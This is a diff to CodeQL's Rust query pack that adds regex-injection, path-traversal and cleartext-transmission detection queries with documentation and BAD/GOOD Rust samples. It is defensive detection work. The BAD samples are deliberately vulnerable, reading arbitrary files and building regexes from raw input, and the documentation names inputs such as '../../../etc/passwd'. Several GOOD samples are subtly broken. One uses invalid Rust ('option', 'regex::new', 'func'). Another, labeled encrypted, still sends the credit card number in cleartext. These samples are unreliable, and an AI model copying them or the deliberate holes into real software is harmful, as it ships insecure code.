diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml
index 99da1b776f60..4158c204364e 100644
--- a/rust/ql/src/qlpack.yml
+++ b/rust/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/rust-queries
-version: 0.1.4
+version: 0.1.5
 groups:
   - rust
   - queries
diff --git a/rust/ql/src/queries/diagnostics/AstConsistencyCounts.ql b/rust/ql/src/queries/diagnostics/AstConsistencyCounts.ql
index 9a46b1a8bb1b..68daa4ee9e8b 100644
--- a/rust/ql/src/queries/diagnostics/AstConsistencyCounts.ql
+++ b/rust/ql/src/queries/diagnostics/AstConsistencyCounts.ql
@@ -6,7 +6,7 @@
  */
 
 import rust
-import codeql.rust.AstConsistency as Consistency
+import codeql.rust.internal.AstConsistency as Consistency
 
 // see also `rust/diagnostics/ast-consistency`, which lists the
 // individual inconsistency results.
diff --git a/rust/ql/src/queries/security/CWE-020/RegexInjection.qhelp b/rust/ql/src/queries/security/CWE-020/RegexInjection.qhelp
new file mode 100644
index 000000000000..eb69a607954b
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-020/RegexInjection.qhelp
@@ -0,0 +1,56 @@
+<!DOCTYPE qhelp PUBLIC
+  "-//Semmle//qhelp//EN"
+  "qhelp.dtd">
+<qhelp>
+
+<overview>
+<p>
+Constructing a regular expression with unsanitized user input can be dangerous.
+A malicious user may be able to modify the meaning of the expression, causing it
+to match unexpected strings and construct large regular expressions by using
+counted repetitions.
+</p>
+</overview>
+
+<recommendation>
+<p>
+Before embedding user input into a regular expression, escape the input string
+using a function such as <a
+href="https://docs.rs/regex/latest/regex/fn.escape.html">regex::escape</a> to
+escape meta-characters that have special meaning.
+</p>
+<p>
+If purposefully supporting user supplied regular expressions, then use <a
+href="https://docs.rs/regex/latest/regex/struct.RegexBuilder.html#method.size_limit">RegexBuilder::size_limit</a>
+to limit the pattern size so that it is no larger than necessary.
+</p>
+</recommendation>
+
+<example>
+<p>
+The following example constructs a regular expressions from the user input
+<code>key</code> without escaping it first.
+</p>
+
+<sample src="RegexInjectionBad.rs" />
+
+<p>
+The regular expression is intended to match strings starting with
+<code>"property"</code> such as <code>"property:foo=bar"</code>. However, a
+malicious user might inject the regular expression <code>".*^|key"</code> and
+unexpectedly cause strings such as <code>"key=secret"</code> to match.
+</p>
+<p>
+If user input is used to construct a regular expression, it should be escaped
+first. This ensures that malicious users cannot insert characters that have special
+meanings in regular expressions.
+</p>
+<sample src="RegexInjectionGood.rs" />
+</example>
+
+<references>
+<li>
+  <code>regex</code> crate documentation: <a href="https://docs.rs/regex/latest/regex/index.html#untrusted-patterns">Untrusted patterns</a>.
+</li>
+</references>
+</qhelp>
diff --git a/rust/ql/src/queries/security/CWE-020/RegexInjection.ql b/rust/ql/src/queries/security/CWE-020/RegexInjection.ql
new file mode 100644
index 000000000000..b49d08969f62
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-020/RegexInjection.ql
@@ -0,0 +1,48 @@
+/**
+ * @name Regular expression injection
+ * @description User input should not be used in regular expressions without first being
+ *              escaped, otherwise a malicious user may be able to inject an expression that
+ *              could modify the meaning of the expression, causing it to match unexpected
+ *              strings.
+ * @kind path-problem
+ * @problem.severity error
+ * @security-severity 7.8
+ * @precision high
+ * @id rust/regex-injection
+ * @tags security
+ *       external/cwe/cwe-020
+ *       external/cwe/cwe-074
+ */
+
+private import rust
+private import codeql.rust.dataflow.DataFlow
+private import codeql.rust.dataflow.TaintTracking
+private import codeql.rust.Concepts
+private import codeql.rust.security.regex.RegexInjectionExtensions
+
+/**
+ * A taint configuration for detecting regular expression injection vulnerabilities.
+ */
+module RegexInjectionConfig implements DataFlow::ConfigSig {
+  predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource }
+
+  predicate isSink(DataFlow::Node sink) { sink instanceof RegexInjectionSink }
+
+  predicate isBarrier(DataFlow::Node barrier) { barrier instanceof RegexInjectionBarrier }
+
+  predicate isAdditionalFlowStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
+    any(RegexInjectionAdditionalFlowStep s).step(nodeFrom, nodeTo)
+  }
+}
+
+/**
+ * Detect taint flow of tainted data that reaches a regular expression sink.
+ */
+module RegexInjectionFlow = TaintTracking::Global<RegexInjectionConfig>;
+
+private import RegexInjectionFlow::PathGraph
+
+from RegexInjectionFlow::PathNode sourceNode, RegexInjectionFlow::PathNode sinkNode
+where RegexInjectionFlow::flowPath(sourceNode, sinkNode)
+select sinkNode.getNode(), sourceNode, sinkNode,
+  "This regular expression is constructed from a $@.", sourceNode.getNode(), "user-provided value"
diff --git a/rust/ql/src/queries/security/CWE-020/RegexInjectionBad.rs b/rust/ql/src/queries/security/CWE-020/RegexInjectionBad.rs
new file mode 100644
index 000000000000..5d5bd78becc6
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-020/RegexInjectionBad.rs
@@ -0,0 +1,8 @@
+use regex::Regex;
+
+fn get_value<'h>(key: &str, property: &'h str) -> Option<&'h str> {
+    // BAD: User provided `key` is interpolated into the regular expression.
+    let pattern = format!(r"^property:{key}=(.*)$");
+    let re = Regex::new(&pattern).unwrap();
+    re.captures(property)?.get(1).map(|m| m.as_str())
+}
\ No newline at end of file
diff --git a/rust/ql/src/queries/security/CWE-020/RegexInjectionGood.rs b/rust/ql/src/queries/security/CWE-020/RegexInjectionGood.rs
new file mode 100644
index 000000000000..fa87435acdc0
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-020/RegexInjectionGood.rs
@@ -0,0 +1,9 @@
+use regex::{escape, Regex};
+
+fn get_value<'h>(key: &str, property: &'h str) -> option<&'h str> {
+    // GOOD: User input is escaped before being used in the regular expression.
+    let escaped_key = escape(key);
+    let pattern = format!(r"^property:{escaped_key}=(.*)$");
+    let re = regex::new(&pattern).unwrap();
+    re.captures(property)?.get(1).map(|m| m.as_str())
+}
\ No newline at end of file
diff --git a/rust/ql/src/queries/security/CWE-022/TaintedPath.qhelp b/rust/ql/src/queries/security/CWE-022/TaintedPath.qhelp
new file mode 100644
index 000000000000..8f74c60cfc29
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-022/TaintedPath.qhelp
@@ -0,0 +1,67 @@
+<!DOCTYPE qhelp PUBLIC
+  "-//Semmle//qhelp//EN"
+  "qhelp.dtd">
+<qhelp>
+<overview>
+<p>Accessing paths controlled by users can allow an attacker to access unexpected resources. This
+can result in sensitive information being revealed or deleted, or an attacker being able to influence
+behavior by modifying unexpected files.</p>
+
+<p>Paths that are naively constructed from data controlled by a user may be absolute paths, or may contain
+unexpected special characters such as "..". Such a path could point anywhere on the file system.</p>
+
+</overview>
+<recommendation>
+
+<p>Validate user input before using it to construct a file path.</p>
+
+<p>Common validation methods include checking that the normalized path is relative and does not contain
+any ".." components, or checking that the path is contained within a safe folder. The method you should use depends 
+on how the path is used in the application, and whether the path should be a single path component.
+</p>
+
+<p>If the path should be a single path component (such as a file name), you can check for the existence 
+of any path separators ("/" or "\"), or ".." sequences in the input, and reject the input if any are found.
+</p>
+
+<p>
+Note that removing "../" sequences is <i>not</i> sufficient, since the input could still contain a path separator
+followed by "..". For example, the input ".../...//" would still result in the string "../" if only "../" sequences
+are removed.
+</p>
+
+<p>Finally, the simplest (but most restrictive) option is to use an allow list of safe patterns and make sure that
+the user input matches one of these patterns.</p>
+
+</recommendation>
+<example>
+
+<p>In this example, a user-provided file name is read from a HTTP request and then used to access a file
+and send it back to the user. However, a malicious user could enter a file name anywhere on the file system,
+such as "/etc/passwd" or "../../../etc/passwd".</p>
+
+<sample src="examples/TaintedPath.rs" />
+
+<p>
+If the input should only be a file name, you can check that it doesn't contain any path separators or ".." sequences.
+</p>
+
+<sample src="examples/TaintedPathGoodNormalize.rs" />
+
+<p>
+If the input should be within a specific directory, you can check that the resolved path 
+is still contained within that directory.
+</p>
+
+<sample src="examples/TaintedPathGoodFolder.rs" />
+
+</example>
+<references>
+
+<li>
+OWASP:
+<a href="https://owasp.org/www-community/attacks/Path_Traversal">Path Traversal</a>.
+</li>
+
+</references>
+</qhelp>
diff --git a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql
new file mode 100644
index 000000000000..fcc1c89ef662
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql
@@ -0,0 +1,90 @@
+/**
+ * @name Uncontrolled data used in path expression
+ * @description Accessing paths influenced by users can allow an attacker to access unexpected resources.
+ * @kind path-problem
+ * @problem.severity error
+ * @security-severity 7.5
+ * @precision high
+ * @id rust/path-injection
+ * @tags security
+ *       external/cwe/cwe-022
+ *       external/cwe/cwe-023
+ *       external/cwe/cwe-036
+ *       external/cwe/cwe-073
+ *       external/cwe/cwe-099
+ */
+
+import rust
+import codeql.rust.dataflow.DataFlow
+import codeql.rust.dataflow.internal.DataFlowImpl as DataflowImpl
+import codeql.rust.dataflow.TaintTracking
+import codeql.rust.security.TaintedPathExtensions
+import TaintedPathFlow::PathGraph
+private import codeql.rust.Concepts
+
+newtype NormalizationState =
+  /** A state signifying that the file path has not been normalized. */
+  NotNormalized() or
+  /** A state signifying that the file path has been normalized, but not checked. */
+  NormalizedUnchecked()
+
+/**
+ * This configuration uses two flow states, `NotNormalized` and `NormalizedUnchecked`,
+ * to track the requirement that a file path must be first normalized and then checked
+ * before it is safe to use.
+ *
+ * At sources, paths are assumed not normalized. At normalization points, they change
+ * state to `NormalizedUnchecked` after which they can be made safe by an appropriate
+ * check of the prefix.
+ *
+ * Such checks are ineffective in the `NotNormalized` state.
+ */
+module TaintedPathConfig implements DataFlow::StateConfigSig {
+  class FlowState = NormalizationState;
+
+  predicate isSource(DataFlow::Node source, FlowState state) {
+    source instanceof TaintedPath::Source and state instanceof NotNormalized
+  }
+
+  predicate isSink(DataFlow::Node sink, FlowState state) {
+    sink instanceof TaintedPath::Sink and
+    (
+      state instanceof NotNormalized or
+      state instanceof NormalizedUnchecked
+    )
+  }
+
+  predicate isBarrier(DataFlow::Node node) {
+    node instanceof TaintedPath::Barrier or node instanceof TaintedPath::SanitizerGuard
+  }
+
+  predicate isBarrier(DataFlow::Node node, FlowState state) {
+    // Block `NotNormalized` paths here, since they change state to `NormalizedUnchecked`
+    (
+      node instanceof Path::PathNormalization or
+      DataflowImpl::optionalBarrier(node, "normalize-path")
+    ) and
+    state instanceof NotNormalized
+    or
+    node instanceof Path::SafeAccessCheck and
+    state instanceof NormalizedUnchecked
+  }
+
+  predicate isAdditionalFlowStep(
+    DataFlow::Node nodeFrom, FlowState stateFrom, DataFlow::Node nodeTo, FlowState stateTo
+  ) {
+    (
+      nodeFrom = nodeTo.(Path::PathNormalization).getPathArg() or
+      DataflowImpl::optionalStep(nodeFrom, "normalize-path", nodeTo)
+    ) and
+    stateFrom instanceof NotNormalized and
+    stateTo instanceof NormalizedUnchecked
+  }
+}
+
+module TaintedPathFlow = TaintTracking::GlobalWithState<TaintedPathConfig>;
+
+from TaintedPathFlow::PathNode source, TaintedPathFlow::PathNode sink
+where TaintedPathFlow::flowPath(source, sink)
+select sink.getNode(), source, sink, "This path depends on a $@.", source.getNode(),
+  "user-provided value"
diff --git a/rust/ql/src/queries/security/CWE-022/examples/TaintedPath.rs b/rust/ql/src/queries/security/CWE-022/examples/TaintedPath.rs
new file mode 100644
index 000000000000..fb0fdbbf6f55
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-022/examples/TaintedPath.rs
@@ -0,0 +1,9 @@
+use poem::{error::InternalServerError, handler, web::Query, Result};
+use std::{fs, path::PathBuf};
+
+#[handler]
+fn tainted_path_handler(Query(file_name): Query<String>) -> Result<String> {
+    let file_path = PathBuf::from(file_name);
+    // BAD: This could read any file on the filesystem.
+    fs::read_to_string(file_path).map_err(InternalServerError)
+}
diff --git a/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodFolder.rs b/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodFolder.rs
new file mode 100644
index 000000000000..8602ad4d5c39
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodFolder.rs
@@ -0,0 +1,14 @@
+use poem::{error::InternalServerError, handler, http::StatusCode, web::Query, Error, Result};
+use std::{env::home_dir, fs, path::PathBuf};
+
+#[handler]
+fn tainted_path_handler(Query(file_path): Query<String>) -> Result<String, Error> {
+    let public_path = home_dir().unwrap().join("public");
+    let file_path = public_path.join(PathBuf::from(file_path));
+    let file_path = file_path.canonicalize().unwrap();
+    // GOOD: ensure that the path stays within the public folder
+    if !file_path.starts_with(public_path) {
+        return Err(Error::from_status(StatusCode::BAD_REQUEST));
+    }
+    fs::read_to_string(file_path).map_err(InternalServerError)
+}
diff --git a/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodNormalize.rs b/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodNormalize.rs
new file mode 100644
index 000000000000..d36cb0e36585
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-022/examples/TaintedPathGoodNormalize.rs
@@ -0,0 +1,12 @@
+use poem::{error::InternalServerError, handler, http::StatusCode, web::Query, Error, Result};
+use std::{fs, path::PathBuf};
+
+#[handler]
+fn tainted_path_handler(Query(file_name): Query<String>) -> Result<String> {
+    // GOOD: ensure that the filename has no path separators or parent directory references
+    if file_name.contains("..") || file_name.contains("/") || file_name.contains("\\") {
+        return Err(Error::from_status(StatusCode::BAD_REQUEST));
+    }
+    let file_path = PathBuf::from(file_name);
+    fs::read_to_string(file_path).map_err(InternalServerError)
+}
diff --git a/rust/ql/src/queries/security/CWE-311/CleartextTransmission.qhelp b/rust/ql/src/queries/security/CWE-311/CleartextTransmission.qhelp
new file mode 100644
index 000000000000..1fb29c55ca00
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-311/CleartextTransmission.qhelp
@@ -0,0 +1,51 @@
+<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
+<qhelp>
+<overview>
+
+<p>
+Sensitive information that is transmitted without encryption may be accessible
+to an attacker.
+</p>
+
+</overview>
+<recommendation>
+
+<p>
+Ensure that sensitive information is always encrypted before being transmitted
+over the network. In general, decrypt sensitive information only at the point
+where it is necessary for it to be used in cleartext. Avoid transmitting
+sensitive information when it is not necessary to.
+</p>
+
+</recommendation>
+<example>
+
+<p>
+The following example shows three cases of transmitting information. In the
+'BAD' case, the transmitted data is sensitive (a credit card number) and is
+included as cleartext in the URL. URLs are often logged or otherwise visible in
+cleartext, and should not contain sensitive information.
+</p>
+
+<p>
+In the 'GOOD' cases, the data is either not sensitive, or is protected with
+encryption. When encryption is used, ensure that you select a secure modern
+encryption algorithm, and put suitable key management practices into place.
+</p>
+
+<sample src="CleartextTransmission.rs" />
+
+</example>
+<references>
+
+<li>
+  OWASP Top 10:2021:
+  <a href="https://owasp.org/Top10/A02_2021-Cryptographic_Failures/">A02:2021 - Cryptographic Failures</a>.
+</li>
+<li>
+  OWASP:
+  <a href="https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html">Key Management Cheat Sheet</a>.
+</li>
+
+</references>
+</qhelp>
diff --git a/rust/ql/src/queries/security/CWE-311/CleartextTransmission.ql b/rust/ql/src/queries/security/CWE-311/CleartextTransmission.ql
new file mode 100644
index 000000000000..ccf01f6fddad
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-311/CleartextTransmission.ql
@@ -0,0 +1,50 @@
+/**
+ * @name Cleartext transmission of sensitive information
+ * @description Transmitting sensitive information across a network in
+ *              cleartext can expose it to an attacker.
+ * @kind path-problem
+ * @problem.severity warning
+ * @security-severity 7.5
+ * @precision high
+ * @id rust/cleartext-transmission
+ * @tags security
+ *       external/cwe/cwe-319
+ */
+
+import rust
+import codeql.rust.dataflow.DataFlow
+import codeql.rust.security.SensitiveData
+import codeql.rust.dataflow.TaintTracking
+import codeql.rust.security.CleartextTransmissionExtensions
+
+/**
+ * A taint configuration from sensitive information to expressions that are
+ * transmitted over a network.
+ */
+module CleartextTransmissionConfig implements DataFlow::ConfigSig {
+  predicate isSource(DataFlow::Node node) { node instanceof SensitiveData }
+
+  predicate isSink(DataFlow::Node node) { node instanceof CleartextTransmissionSink }
+
+  predicate isBarrier(DataFlow::Node barrier) { barrier instanceof CleartextTransmissionBarrier }
+
+  predicate isAdditionalFlowStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
+    any(CleartextTransmissionAdditionalFlowStep s).step(nodeFrom, nodeTo)
+  }
+
+  predicate isBarrierIn(DataFlow::Node node) {
+    // make sources barriers so that we only report the closest instance
+    isSource(node)
+  }
+}
+
+module CleartextTransmissionFlow = TaintTracking::Global<CleartextTransmissionConfig>;
+
+import CleartextTransmissionFlow::PathGraph
+
+from CleartextTransmissionFlow::PathNode sourceNode, CleartextTransmissionFlow::PathNode sinkNode
+where CleartextTransmissionFlow::flowPath(sourceNode, sinkNode)
+select sinkNode.getNode(), sourceNode, sinkNode,
+  "The operation '" + sinkNode.getNode().toString() +
+    "', transmits data which may contain unencrypted sensitive data from $@.", sourceNode,
+  sourceNode.getNode().toString()
diff --git a/rust/ql/src/queries/security/CWE-311/CleartextTransmission.rs b/rust/ql/src/queries/security/CWE-311/CleartextTransmission.rs
new file mode 100644
index 000000000000..9856818525d2
--- /dev/null
+++ b/rust/ql/src/queries/security/CWE-311/CleartextTransmission.rs
@@ -0,0 +1,15 @@
+func getData() {
+	// ...
+
+	// GOOD: not sensitive information
+	let body = reqwest::get("https://example.com/song/{faveSong}").await?.text().await?;
+
+	// BAD: sensitive information sent in cleartext in the URL
+	let body = reqwest::get(format!("https://example.com/card/{creditCardNo}")).await?.text().await?;
+
+	// GOOD: encrypted sensitive information sent in the URL
+	let encryptedPassword = encrypt(password, encryptionKey);
+	let body = reqwest::get(format!("https://example.com/card/{creditCardNo}")).await?.text().await?;
+
+	// ...
+}
diff --git a/rust/ql/src/queries/security/CWE-312/CleartextLogging.ql b/rust/ql/src/queries/security/CWE-312/CleartextLogging.ql
index 223ea141c13a..fd6d538f13f2 100644
--- a/rust/ql/src/queries/security/CWE-312/CleartextLogging.ql
+++ b/rust/ql/src/queries/security/CWE-312/CleartextLogging.ql
@@ -17,7 +17,6 @@ import rust
 import codeql.rust.security.CleartextLoggingExtensions
 import codeql.rust.dataflow.DataFlow
 import codeql.rust.dataflow.TaintTracking
-import codeql.rust.dataflow.internal.DataFlowImpl
 
 /**
  * A taint-tracking configuration for cleartext logging vulnerabilities.
@@ -44,7 +43,7 @@ module CleartextLoggingConfig implements DataFlow::ConfigSig {
   predicate allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c) {
     // flow out from tuple content at sinks.
     isSink(node) and
-    c.getAReadContent() instanceof TuplePositionContent
+    c.getAReadContent() instanceof DataFlow::TuplePositionContent
   }
 }
 
diff --git a/rust/ql/src/queries/summary/QuerySinkCounts.ql b/rust/ql/src/queries/summary/QuerySinkCounts.ql
index 6525c3263a11..ed1c6bee3900 100644
--- a/rust/ql/src/queries/summary/QuerySinkCounts.ql
+++ b/rust/ql/src/queries/summary/QuerySinkCounts.ql
@@ -10,8 +10,9 @@
 
 import rust
 import codeql.rust.dataflow.DataFlow
+import codeql.rust.Concepts
 import Stats
 
 from string kind, int num
-where num = strictcount(DataFlow::Node n | getAQuerySinkKind(n) = kind)
+where num = strictcount(QuerySink s | s.getSinkType() = kind)
 select kind, num
diff --git a/rust/ql/src/queries/summary/QuerySinks.ql b/rust/ql/src/queries/summary/QuerySinks.ql
index 09cd7fcb2991..a94ab2f8e804 100644
--- a/rust/ql/src/queries/summary/QuerySinks.ql
+++ b/rust/ql/src/queries/summary/QuerySinks.ql
@@ -11,7 +11,8 @@
 
 import rust
 import codeql.rust.dataflow.DataFlow
+import codeql.rust.Concepts
 import Stats
 
-from DataFlow::Node n
-select n, "Sink for " + strictconcat(getAQuerySinkKind(n), ", ") + "."
+from QuerySink s
+select s, "Sink for " + concat(s.getSinkType(), ", ") + "."
diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll
index 4054b0bc1326..a2220398b415 100644
--- a/rust/ql/src/queries/summary/Stats.qll
+++ b/rust/ql/src/queries/summary/Stats.qll
@@ -6,11 +6,16 @@ import rust
 private import codeql.rust.dataflow.DataFlow
 private import codeql.rust.dataflow.internal.DataFlowImpl
 private import codeql.rust.dataflow.internal.TaintTrackingImpl
-private import codeql.rust.AstConsistency as AstConsistency
+private import codeql.rust.internal.AstConsistency as AstConsistency
+private import codeql.rust.internal.PathResolutionConsistency as PathResolutionConsistency
 private import codeql.rust.controlflow.internal.CfgConsistency as CfgConsistency
 private import codeql.rust.dataflow.internal.DataFlowConsistency as DataFlowConsistency
-private import codeql.rust.security.SqlInjectionExtensions
+private import codeql.rust.Concepts
+// import all query extensions files, so that all extensions of `QuerySink` are found
 private import codeql.rust.security.CleartextLoggingExtensions
+private import codeql.rust.security.SqlInjectionExtensions
+private import codeql.rust.security.WeakSensitiveDataHashingExtensions
+private import codeql.rust.security.regex.RegexInjectionExtensions
 
 /**
  * Gets a count of the total number of lines of code in the database.
@@ -31,6 +36,14 @@ int getTotalAstInconsistencies() {
   result = sum(string type | | AstConsistency::getAstInconsistencyCounts(type))
 }
 
+/**
+ * Gets a count of the total number of path resolution inconsistencies in the database.
+ */
+int getTotalPathResolutionInconsistencies() {
+  result =
+    sum(string type | | PathResolutionConsistency::getPathResolutionInconsistencyCounts(type))
+}
+
 /**
  * Gets a count of the total number of control flow graph inconsistencies in the database.
  */
@@ -55,16 +68,7 @@ int getTaintEdgesCount() {
     )
 }
 
-/**
- * Gets a kind of query for which `n` is a sink (if any).
- */
-string getAQuerySinkKind(DataFlow::Node n) {
-  n instanceof SqlInjection::Sink and result = "SqlInjection"
-  or
-  n instanceof CleartextLogging::Sink and result = "CleartextLogging"
-}
-
 /**
  * Gets a count of the total number of query sinks in the database.
  */
-int getQuerySinksCount() { result = count(DataFlow::Node n | exists(getAQuerySinkKind(n))) }
+int getQuerySinksCount() { result = count(QuerySink s) }
diff --git a/rust/ql/src/queries/summary/SummaryStats.ql b/rust/ql/src/queries/summary/SummaryStats.ql
index 4e14045428f2..69ab796c8696 100644
--- a/rust/ql/src/queries/summary/SummaryStats.ql
+++ b/rust/ql/src/queries/summary/SummaryStats.ql
@@ -14,9 +14,18 @@ import codeql.rust.Diagnostics
 import Stats
 import TaintReach
 
+class CrateElement extends Element {
+  CrateElement() {
+    this instanceof Crate or
+    this instanceof NamedCrate or
+    this.(AstNode).getParentNode*() = any(Crate c).getModule()
+  }
+}
+
 from string key, int value
 where
-  key = "Elements extracted" and value = count(Element e | not e instanceof Unextracted)
+  key = "Elements extracted" and
+  value = count(Element e | not e instanceof Unextracted and not e instanceof CrateElement)
   or
   key = "Elements unextracted" and value = count(Unextracted e)
   or
@@ -46,6 +55,8 @@ where
   or
   key = "Inconsistencies - AST" and value = getTotalAstInconsistencies()
   or
+  key = "Inconsistencies - Path resolution" and value = getTotalPathResolutionInconsistencies()
+  or
   key = "Inconsistencies - CFG" and value = getTotalCfgInconsistencies()
   or
   key = "Inconsistencies - data flow" and value = getTotalDataFlowInconsistencies()
diff --git a/rust/ql/src/queries/telemetry/ExtractorInformation.ql b/rust/ql/src/queries/telemetry/ExtractorInformation.ql
index f61dfe515a9e..d47dc04ace73 100644
--- a/rust/ql/src/queries/telemetry/ExtractorInformation.ql
+++ b/rust/ql/src/queries/telemetry/ExtractorInformation.ql
@@ -8,6 +8,7 @@
 
 import rust
 import DatabaseQuality
+import RustAnalyzerComparison
 import codeql.rust.Diagnostics
 
 predicate fileCount(string key, int value) {
@@ -41,6 +42,20 @@ predicate extractorDiagnostics(string key, int value) {
   )
 }
 
+predicate pathResolutionCompare(string key, int value) {
+  exists(string suffix |
+    PathResolutionCompare::summary(suffix, value) and
+    key = "Rust-analyzer path resolution comparison: " + suffix
+  )
+}
+
+predicate callGraphCompare(string key, int value) {
+  exists(string suffix |
+    CallGraphCompare::summary(suffix, value) and
+    key = "Rust-analyzer call graph comparison: " + suffix
+  )
+}
+
 from string key, float value
 where
   (
@@ -54,7 +69,9 @@ where
     CallTargetStatsReport::percentageOfOk(key, value) or
     MacroCallTargetStatsReport::numberOfOk(key, value) or
     MacroCallTargetStatsReport::numberOfNotOk(key, value) or
-    MacroCallTargetStatsReport::percentageOfOk(key, value)
+    MacroCallTargetStatsReport::percentageOfOk(key, value) or
+    pathResolutionCompare(key, value) or
+    callGraphCompare(key, value)
   ) and
   /* Infinity */
   value != 1.0 / 0.0 and
diff --git a/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll b/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll
new file mode 100644
index 000000000000..d62e5ec33639
--- /dev/null
+++ b/rust/ql/src/queries/telemetry/RustAnalyzerComparison.qll
@@ -0,0 +1,147 @@
+/**
+ * INTERNAL: Do not use.
+ *
+ * Provides functionality for comparing data from `rust-analyzer` with data computed
+ * in QL.
+ */
+
+import rust
+
+private signature module ResolvableSig {
+  class Source {
+    string toString();
+
+    Location getLocation();
+  }
+
+  class Target {
+    string toString();
+
+    Location getLocation();
+  }
+}
+
+private signature module CompareSig<ResolvableSig R> {
+  predicate isResolvable(R::Source s);
+
+  R::Target resolve(R::Source s);
+}
+
+private module Compare<ResolvableSig R, CompareSig<R> RustAnalyzer, CompareSig<R> Ql> {
+  private import R
+
+  predicate same(Source s, Target t) {
+    t = RustAnalyzer::resolve(s) and
+    t = Ql::resolve(s)
+  }
+
+  predicate sameCount(int c) { c = count(Source s | same(s, _)) }
+
+  predicate diff(Source s, Target t1, Target t2) {
+    t1 = RustAnalyzer::resolve(s) and
+    t2 = Ql::resolve(s) and
+    t1 != t2
+  }
+
+  predicate diffCount(int c) { c = count(Source s | not same(s, _) and diff(s, _, _)) }
+
+  predicate rustAnalyzerUnique(Source s) {
+    RustAnalyzer::isResolvable(s) and
+    not Ql::isResolvable(s)
+  }
+
+  predicate rustAnalyzerUniqueCount(int c) { c = count(Source s | rustAnalyzerUnique(s)) }
+
+  predicate qlUnique(Source s) {
+    not RustAnalyzer::isResolvable(s) and
+    Ql::isResolvable(s)
+  }
+
+  predicate qlUniqueCount(int c) { c = count(Source s | qlUnique(s)) }
+
+  // debug predicates to find missing targets in QL implementation
+  private module Debug {
+    predicate qlMissing(Source s, Target t) {
+      t = RustAnalyzer::resolve(s) and
+      not t = Ql::resolve(s)
+    }
+
+    predicate qlMissingWithCount(Source s, Target t, int c) {
+      qlMissing(s, t) and
+      c = strictcount(Source s0 | qlMissing(s0, t))
+    }
+  }
+
+  predicate summary(string key, int value) {
+    key = "rust-analyzer unique" and rustAnalyzerUniqueCount(value)
+    or
+    key = "QL unique" and qlUniqueCount(value)
+    or
+    key = "same" and sameCount(value)
+    or
+    key = "different" and diffCount(value)
+  }
+}
+
+private module PathResolution implements ResolvableSig {
+  class Source extends Resolvable {
+    Source() { not this instanceof MethodCallExpr }
+  }
+
+  class Target = Item;
+}
+
+private module RustAnalyzerPathResolution implements CompareSig<PathResolution> {
+  predicate isResolvable(PathResolution::Source s) { s.hasResolvedPath() }
+
+  Item resolve(PathResolution::Source s) { s.resolvesAsItem(result) }
+}
+
+private module QlPathResolution implements CompareSig<PathResolution> {
+  private import codeql.rust.internal.PathResolution
+
+  private Path getPath(Resolvable r) {
+    result = r.(PathExpr).getPath()
+    or
+    result = r.(StructExpr).getPath()
+    or
+    result = r.(PathPat).getPath()
+    or
+    result = r.(StructPat).getPath()
+    or
+    result = r.(TupleStructPat).getPath()
+  }
+
+  predicate isResolvable(PathResolution::Source s) { exists(resolve(s)) }
+
+  Item resolve(PathResolution::Source s) { result = resolvePath(getPath(s)) }
+}
+
+module PathResolutionCompare =
+  Compare<PathResolution, RustAnalyzerPathResolution, QlPathResolution>;
+
+private module CallGraph implements ResolvableSig {
+  class Source = CallExprBase;
+
+  class Target = Item;
+}
+
+private module RustAnalyzerCallGraph implements CompareSig<CallGraph> {
+  private import codeql.rust.elements.internal.CallExprBaseImpl::Impl as CallExprBaseImpl
+
+  predicate isResolvable(CallExprBase c) {
+    CallExprBaseImpl::getCallResolvable(c).hasResolvedPath()
+  }
+
+  Item resolve(CallExprBase c) { CallExprBaseImpl::getCallResolvable(c).resolvesAsItem(result) }
+}
+
+private module QlCallGraph implements CompareSig<CallGraph> {
+  private import codeql.rust.internal.PathResolution as PathResolution
+
+  predicate isResolvable(CallExprBase c) { exists(resolve(c)) }
+
+  Item resolve(CallExprBase c) { result = c.getStaticTarget() }
+}
+
+module CallGraphCompare = Compare<CallGraph, RustAnalyzerCallGraph, QlCallGraph>;
diff --git a/rust/ql/src/queries/unusedentities/UnusedValue.ql b/rust/ql/src/queries/unusedentities/UnusedValue.ql
index 67c0857b413e..1b0a498afe5c 100644
--- a/rust/ql/src/queries/unusedentities/UnusedValue.ql
+++ b/rust/ql/src/queries/unusedentities/UnusedValue.ql
@@ -16,10 +16,11 @@ import UnusedVariable
 from AstNode write, Ssa::Variable v
 where
   variableWrite(write, v) and
+  not v instanceof DiscardVariable and
+  not write.isInMacroExpansion() and
+  not isAllowableUnused(v) and
   // SSA definitions are only created for live writes
   not write = any(Ssa::WriteDefinition def).getWriteAccess().getAstNode() and
   // avoid overlap with the unused variable query
-  not isUnused(v) and
-  not v instanceof DiscardVariable and
-  not write.isInMacroExpansion()
+  not isUnused(v)
 select write, "Variable $@ is assigned a value that is never used.", v, v.getText()
diff --git a/rust/ql/src/queries/unusedentities/UnusedVariable.qll b/rust/ql/src/queries/unusedentities/UnusedVariable.qll
index db4a22b6c7b9..2750ca1c42a5 100644
--- a/rust/ql/src/queries/unusedentities/UnusedVariable.qll
